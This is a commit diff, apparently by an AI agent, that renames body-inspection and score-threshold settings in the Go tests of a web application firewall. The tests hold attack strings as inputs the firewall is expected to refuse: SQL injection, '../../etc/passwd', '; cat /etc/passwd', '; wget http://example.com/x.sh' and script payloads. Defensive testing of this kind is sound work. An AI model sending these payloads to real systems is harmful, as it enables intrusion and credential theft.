Rename the settings whose names do not say what they control (closes #234)
check / check (push) Waiting to run

Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-12 09:48:09 +00:00
1 parent 3304beca46
commit 4d4ae61abf
100 files changed
+2261 -2019

No files matched your search

+49 -36
View File
@@ -1089,7 +1089,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})()
if err != nil {
return nil, err
@@ -1166,15 +1167,18 @@ func misfiringPasswords(t *testing.T) []string {
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
names := []string{name}
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -1197,7 +1201,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
@@ -1217,7 +1221,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack)
@@ -1307,7 +1311,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -1364,7 +1368,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
func TestPasswordExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -1400,7 +1404,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
@@ -1480,7 +1484,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
@@ -1505,12 +1509,12 @@ const (
)
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
})
}
@@ -1572,7 +1576,7 @@ func wordpressAttackTargets(attack string) []string {
func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
@@ -2310,8 +2314,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
// tests that read bodies.
const bodyInspectionSize = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
@@ -2334,12 +2339,13 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
// default, but reading bodies up to bodyInspectionSize.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})
}
@@ -2393,7 +2399,7 @@ func wantBody(
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
@@ -2413,7 +2419,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
pad := strings.Repeat("a", bodyInspectionSize)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
@@ -2426,20 +2432,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
tc.attackFirst[:bodyInspectionSize+1])
wantBody(
t,
crs,
post(tc.header),
tc.attackLast,
coreruleset.Result{},
tc.attackLast[:bodyLimit+1],
tc.attackLast[:bodyInspectionSize+1],
)
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
wantBody(
t,
crs,
@@ -2449,7 +2455,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit,
)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
wantBody(
t,
crs,
@@ -2469,10 +2475,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
fits := padded(tc.head, tc.tail, bodyInspectionSize)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
wantBody(
t,
crs,
@@ -2529,7 +2535,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
larger := strings.Repeat("a", bodyInspectionSize+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
@@ -2748,7 +2754,7 @@ func giteaBranchNamesInBodies() []nameInBody {
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := readingBodies(t)
@@ -2849,7 +2855,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
@@ -2867,7 +2873,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
body[:bodyInspectionSize+1])
}
}
@@ -2880,7 +2886,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di"
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
)
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2890,7 +2899,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart),
body,
matched(900440, 900450),
body[:bodyLimit+1],
body[:bodyInspectionSize+1],
)
}
@@ -2909,12 +2918,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
)
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
body[:bodyInspectionSize+1])
}
}
@@ -2929,7 +2941,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
@@ -2941,11 +2954,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
wantBody(t, crs, post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
)
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)